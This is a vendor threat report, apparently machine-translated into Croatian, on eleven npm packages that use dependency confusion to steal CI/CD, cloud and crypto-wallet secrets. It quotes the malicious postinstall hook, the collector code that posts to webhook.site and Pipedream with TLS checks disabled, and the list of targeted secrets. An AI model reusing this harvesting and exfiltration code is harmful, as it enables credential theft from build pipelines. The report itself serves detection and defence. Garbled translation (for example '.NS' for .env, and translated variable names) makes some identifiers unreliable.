Zbunjenost oko CryptoDAO-a: prikupljanje npm paketa CI/CD i kripto tajne

Zbunjenost oko CryptoDAO-a: jedanaest npm paketa, jedan korisni teret, prikupljanje podataka CI/CD i tajne kripto-novčanika

TL; DR

Dana 17.06.2026. objavljen je jedan npm račun jedanaest paketa koji dijele jednu svrhu i jedan korisni sadržajDeset njih nosi cryptodao- prefiks (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); jedanaesti je opseg @public-for-cdao/coreSvaki je objavljen u verziji 99.99.99 i šalje identičan bajt recon.js koja teče dalje postinstall.

Imena su pokazatelj. Čitaju se kao unutarnji građevni blokovi privatnog alatnog lanca kripto/DAO projekta. Objavljeni u javnom npm registru u umjetno visokoj verziji, čekaju izradu. pipeline koji je konfiguriran za rješavanje tih imena i koji dolazi do javnog npm-a prije - ili umjesto - privatnog registra. Ovo je zbunjenost ovisnosti, a korisni teret je podešen točno za mjesto gdje se očekuje da će sletjeti: CI/CD trkača.

Kada postinstall požari, recon.js prikuplja podatke o domaćinu, grubo pregledava četrdeset varijabli okruženja za oblak, CI i kripto-novčanik, čita bilo koji .env datoteke koje može pronaći i doslovno prosljeđuje retke koji nose tajnu, a zatim šalje paket dvama sakupljačima - webhook.site i Pipedream krajnju točku — s onemogućenom provjerom TLS certifikata. Kopija je također napisana pod /tmp.

Ozbiljnost: visokPogođeni ekosustav: NPMSvih jedanaest paketa bilo je aktivno u trenutku pisanja.

Anatomija napada

Mehanizam ima četiri pokretna dijela i nijedan od njih nije suptilan kad znate pogledajte jedan sloj iza naziva paketa.

1. Inflacija verzija kao mamac za rješavanje problema. Svaki paket deklarira verziju 99.99.99Zbunjenost ovisnosti funkcionira kada upravitelj paketa zatraži interno ime, također provjerava javni registar i odabire najvišu verziju nalazi. npm-ov zadani odabir za raspon kareta ili zamjenskih znakova je najzadovoljavajuća verzija u svakom konfiguriranom izvoru; ako su oba privatna registar i javni npm odgovor za isto ime, veći broj verzije pobjeđuje. A 99.99.99 nadmašuje u biti bilo koju stvarnu internu verziju koju projekt ima dosegnut, pa resolver koji nije pričvršćen na privatni izvor preferira javna - a u ovom slučaju, neprijateljska - kopija. Operater ne mora znati stvarni brojevi verzija cilja; odabir apsurdnog maksimuma uvijek jamči neriješen rezultat probija im put.

2. Okidač nakon instalacije. paket.json spaja korisni teret na instalaciju životni ciklus:

{   "scripts": { "postinstall": "node recon.js" } }

Nije potreban uvoz paketa. Samo instaliranje - što je CI pipeline radi automatski — pokreće se recon.js.

3. Široka tajna pretraga. recon.js sastavlja niz rezultata u fazama:

  • Kontekst hosta: naziv hosta, platforma i izdanje, arhitektura, korisničko ime, rad katalog.
  • Varijable okruženja: iterira fiksni popis od četrdesetak imena i zapisa bilo koji koji su postavljeni. Popis je otkrivajući - uparuje generičke CI tokene (CI_JOB_TOKEN, LOZINKA_REGISTRA_CI, GITLAB_ACCESS_TOKEN) i oblak vjerodajnice (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) s tajnim podacima registra i spremnika (NPM_TOKEN, DOCKER_PASSWORD, LOZINKA_LUKE) i klaster izrazito kripto-okusom:  PRIVATE_KEY, MNEMONIČKI, SEED_PHRASE, INFURA_API_KEY, KLJUČ_API_ALCHEMY, ETH_RPC, BSC_RPCZabilježene vrijednosti skraćuju se na prvih 50 znakova.
  • .NS datoteke: ispituje popis putanja — .NS, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /početna/gitlab-runner/.env, /root/.env, i .proizvodnja/.razvoj varijante - i za bilo koju datoteku koja postoji, ona filtrira sadržaj prema linijama koje odgovaraju KLJUČ|TAJNA|TOKEN|LOZINKA|PRIVATNO|MNEMONIK i gura te retke **u cijelosti, neskraćene** u rezultate.
  • Kontekst hosta izgradnje: navodi prvih 20 unosa /gradi/, /početna/gitlab-runner/izgradnje/, /var/lib/gitlab-runner/i / tmp /.

Popis putanja i popis varijabli su ponderirani prema GitLab runnerima, što ukazuje korisni teret izravno na samostalno hostanoj CI infrastrukturi, a ne kod programera prijenosno računalo. Grupiranje popisa ulova po kategorijama jasno prikazuje namjeravani ulov:

Kategorija Dosegnute varijable / putovi
CI/CD identitet i implementacija CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
oblak AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Registar i spremnik NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Pohrane podataka DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Kripto / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Poruke SLACK_TOKEN, DISCORD_TOKEN
Na disku .env obitelj + /home/gitlab-runner/.env, /root/.env, /app/**/.envpopisi direktorija /builds/, /var/lib/gitlab-runner/

Kripto klaster je dio koji ovo razlikuje od generičkog CI-tajnog sweep: fraze za novčanik i ključevi za potpisivanje pojavljuju se samo u okruženju blockchain projekt, a oni se izravno mapiraju na kriptodao-/znak/ugovori imenovanje prijevoznika.

4. Dvostruka eksfiltracija s onemogućenom verifikacijom. Sakupljeni niz je serijalizirano i poslano POST-om na dva odredišta:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

odbitiNeovlašteno: lažno isključuje provjere TLS certifikata za odlazne pozivi. Isti podaci se ispisuju na stdout (pa se također nalaze u zapisnicima CI poslova) i napisano /tmp/.npm_recon_ .jsonGreške se tiho gutaju, tako da neuspješno slanje ne ostavlja traga u izlazu instalacije osim jednog izviđanje instalirano na crta.

Vodeći komentar u datoteci opisuje to kao „Zbunjenost ovisnosti“ "Izviđački teret." Skraćivanje vrijednosti okruženja na 50 znakova ima oblik dokaza koncepta. Ono što ga pomiče dalje od signala koji prikazuje samo prisutnost jest .NS rukovanje: linije koje nose tajne podatke prosljeđuju se u cijelosti, a odredišta su dva radna, napadačem kontrolirana sakupljača, a ne odvod koji se računa samo pogoci.

Timeline

Uzorak objavljivanja je potpis jednog skriptiranog pusha, a ne jedanaest neovisni prijenosi.

Vrijeme (UTC, 17.06.2026.) događaj
03:24:58 cryptodao-bot@99.99.99 objavljen
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — varijanta s opsegom, ~24 min kasnije

Deset paketa poslano je unutar 29 sekundi, otprilike jedan svake tri sekunde. Opseg @public-for-cdao/core uslijedilo je otprilike 24 minute nakon — sekunde konvencija imenovanja za isti cilj, u slučaju da projekt korisnika referencira interni lanac alata pod opsegom, a ne kao gola imena.

Pokazatelji kompromisa

Tip Pokazatelj
Kolekcionar hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Kolekcionar hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Ugradite kuku postinstall: node recon.js
Ispuštena datoteka /tmp/.npm_recon_<timestamp>.json
Oznaka trupca [recon] <pkg>@<ver> installed on <hostname> (stdout u CI zapisnicima)
bihevioralna rejectUnauthorized: false na odlaznom HTTPS-u tijekom instalacije
korisna nosivost recon.js, identično u svih jedanaest paketa (jedna zajednička verzija)
Verzija 99.99.99 na svakom paketu
Paketi cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (svi 99.99.99)
Publisher aduljune / aduljune@proton.me (e-pošta nije potvrđena, nema povezanog repozitorija izvora)

 Atribucija i opaženo ponašanje

Sve u vezi s klasterom ukazuje na jednu stranu. Svih jedanaest paketa je objavljeno. putem npm računa aduljune (aduljune@proton.me, neprovjerena adresa bez povezanog repozitorija izvora), unutar razdoblja od 25 minuta, istovremeno 99.99.99 verzija, slanje recon.js čiji je sadržaj bajt po bajt identičan u svim paket (MD5 se podudara sa svih jedanaest ekstrahiranih kopija). To je jedan korisni sadržaj utisnuto na popis imena, a ne neovisna ponovna upotreba koda.

Popis imena definira namjeravani cilj. kriptodao-* i cdao opisati raspored privatnog modula kripto/DAO projekta i popis prinosa korisnog tereta ogledala koja nagađaju: uz generičke CI i tajne oblaka, to posebno poseže za PRIVATE_KEY, MNEMONIČKI, SEED_PHRASEi Ethereum/BSC RPC i ključevi pružatelja usluga. .NS Putanje pretraživanja i popisi direktorija su GitLab-runner specifičan. Uočljivi učinak je da bilo koji pipeline prevareni da ih instaliraju imena bi prosljeđivala svoje CI tokene, ključeve u oblaku i podatke na disku .NS tajne — i, za blockchain projekt, njegov materijal za novčanik - dvama trećim stranama koje sakupljaju podatke.

Ne dajemo nikakve tvrdnje o tome tko upravlja računom ili što su planirali učiniti s njim. podaci. Činjenice koje stoje same za sebe: imena ciljaju na određenu vrstu unutarnji lanac alata, korisni teret čita i prenosi stvarne tajne vrijednosti i infrastruktura je bila aktivna.

Utjecaj, trendovi i smjernice za obrambene igrače

Zbunjenost oko ovisnosti ostaje učinkovit jer iskorištava ponašanje resolvera, a ne ranjivost u bilo kojem paketu. Prijevoznik je ovdje trivijalan - jedanaest gotovo praznih paketi - ali radijus eksplozije je bilo koji pipeline pogrešno preferira javni npm za interno ime. CI trkači su najgore mjesto za to: oni drže točno tokene i .NS datoteke koje ovaj teret čita i instalira ovisnosti neinteraktivno, dakle a nakon instalacije trči bez ičijeg gledanja.

Ovaj klaster također odgovara obrascu koji stalno viđamo: korisni tereti u vrijeme instalacije koji predstavljaju kao „istraživanje“ ili „izviđanje“ tijekom prikupljanja stvarnih vjerodajnica. Oznaka u datoteci ne mijenja što kod radi na trkaču. Zadržavaju se dva izbora dizajna tiha aktivnost: svaka mrežna i datotečna operacija je obavijena rukovatelj iznimkama koji odbacuje pogreške, pa tako blokirano slanje ili datoteka koja nedostaje ne proizvodi dijagnostički izlaz, a jedino što se ispisuje je jedan bezopasan [izviđanje] … instalirano linija koja se stapa s normalnim razgovorom prilikom instalacije. Korištenje webhook.site a Pipedream je također namjerna praktičnost — oboje je besplatno, usluge hvatanja zahtjeva odmah omogućene, tako da operateru nisu potrebni poslužitelji vlastite, a odredišta izgledaju kao obična SaaS imena hostova u izlaznim zapisnicima.

Ekonomski aspekt je ono što ovo čini vrijednim pažnje branitelja, iako... Kod operatera je jednostavan. Registracija jedanaest imena ne košta ništa, korisni teret je jedan datoteka kopirana jedanaest puta, a upravitelj paketa obavlja cijelo izvršavanje. Jedan pogrešno konfigurirano pipeline bilo gdje tko konzumira jedno od ovih imena plaća za cijeli operacija.

Konkretni koraci za branitelje:

  • Prikvačite interne opsege na svoj privatni registar. Konfigurirajte npm tako da ima interna imena
     i opseg se rješava samo u odnosu na vaš registar (mapiranje registra s opsegom .npmrc,
    ili proxy koji se nikada ne spaja na javni npm za vlastite imenske prostore). Rezervirajte svoja javna imena opsega kako ih nitko drugi ne bi mogao registrirati.
  • Commit lockfiles i instalirajte s –ignore-scripts u Kontinentalnoj integraciji gdje je to izvedivo, ili provjerite mali skup ovisnosti kojima su zaista potrebne instalacijske skripte.  recon.js se ne može pokrenuti ako nakon instalacije se ne izvršava.
  • Tretirajte verziju internog imena od 99.99.99 (ili neku drugu apsurdno visoku cijenu) kao crvena zastava u pregledu ovisnosti i praćenju registra.
  • Upozorenje o izlasku tijekom instalacije. A nakon instalacije koji otvara odlazni HTTPS veza — posebno s onemogućenom provjerom certifikata — prema webhook.site, Pipedream ili slične usluge za hvatanje zahtjeva vrijedi blokirati na rubu mreže i označiti ih u zapisnicima izgradnje.
  • Lovite artefakte. Provjerite trkače za /tmp/.npm_recon_*.json i za [rekonstrukcija] … instalirano na … marker u nedavnim CI zapisnicima. Ako se pronađe, rotirajte svakih vjerodajnica izložena tome pipeline — CI tokeni, ključevi u oblaku, tokeni registra i svi sjemenovi novčanika ili privatni ključevi prisutni u okruženju ili .env datotekama.

Reference

U vrijeme pisanja teksta nije postojalo vanjsko izvještavanje o ovom klasteru; analiza gore navedeno se temelji izravno na objavljenom sadržaju paketa

alati-za-analizu-sastava-softvera-sca-tools
Prioritizirajte, sanirajte i osigurajte softverske rizike
Nabavite svoj besplatni račun.
Nije potrebna kreditna kartica.

Osigurajte svoj razvoj i isporuku softvera

s Xygeni paketom proizvoda